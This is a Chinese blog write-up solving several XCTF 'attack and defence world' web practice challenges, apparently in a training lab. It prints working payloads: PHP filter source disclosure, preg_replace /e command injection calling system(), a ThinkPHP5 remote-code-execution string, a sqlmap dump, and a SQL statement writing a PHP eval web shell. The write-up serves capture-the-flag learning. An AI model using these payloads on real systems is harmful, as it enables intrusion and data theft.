攻防世界web练习
ics-05
首先点击下发觉只有一个php界面,然后在点击,发觉有个?page=,尝试利用php伪协议读取源代码
1 | ?page=php://filter/read=convert.base64-encode/resource=index.php |
读取解码后发觉后门
1 | if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { |
改header头,这里又有一个小知识点
pattern是用来查找的常规表达式,replacement是用来替换的字符串,submit是要查找替换的字符串,limit是可以替换的字符串数,count是成功替换的数目。函数将返回替换后的字符串,当Pattern参数使用/e修正符时,preg_replace函数会将replacement参数当作 PHP代码执行,那么,针对此种情况,当replacement内容为用户可控数据时,就可能导致命令注入攻击漏洞的形成。
执行payload
1 | ?pat=/123/e&rep=system("find+-iname+flag")&sub=123 |
获取到路径 ./s3chahahaDir/flag
1 | ?pat=/123/e&rep=system("cd+./s3chahahaDir/flag%26%26ls")&sub=123 |
获取到flag.php
1 | ?pat=/123/e&rep=system("cd+./s3chahahaDir/flag%26%26cat+flag.php")&sub=123 |
读取flag.php在注释里
cyberpeace{48a737421e01bd7f706d3f6be5059274}
总结
- 文件包含漏洞
- 命令执行
- php伪协议
ics-06
。。。看不懂题目意图,爆破id,为2333能拿到flag
lottery
原来用burp抓包尝试看有什么东西,测了好些时间发觉没什么东西,看了wp后知道robots.txt里有提示,git源码泄露,GitHacker下载源码后发觉有个弱类型
1 | $money = $_SESSION['money']; |
随后传入非数字,让其相等,所以拿到奖金,买flag
php_rce
thinkphp5 rce
查找到一个payload
1 | ?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag |
拿flag
upload1
前端js验证,禁用js后绕过上传
Training-WWW-Robots
水题,robots.txt拿flag
NewsCenter
sqlmap一把梭
1 | sqlmap -r 1.post -D news -T secret_table -a |
Web_php_include
解法1
1 | gobuster -t 20 -w ~/Documents/字典/御剑字典/PHP.txt dir -u "http://111.198.29.45:40559/" |
扫出来phpmyadmin登录界面,用户名root,密码空登录
写shell到/tmp/目录,
1 | select "<?php eval(@$_POST['flag']); ?>"into outfile '/tmp/test.php' |
文件包含shell连接
解法2
1 | ?page=PHP://filter/read=convert.base64-encode/resource=flag.php |
strstr是对大小写敏感的,用大写PHP绕过检测
大写绕过,伪协议读取,问题我不知道flag名称,无法读取
php2
1 | gobuster -t 20 -w ~/Documents/字典/御剑字典/PHP.txt dir -u "http://111.198.29.45:38685/" |
扫描到index.phps,然后读到源码
1 |
|
url二次编码绕过就好了
本文作者:NoOne
本文地址: https://noonegroup.xyz/posts/fbe056b6/
版权声明:转载请注明出处!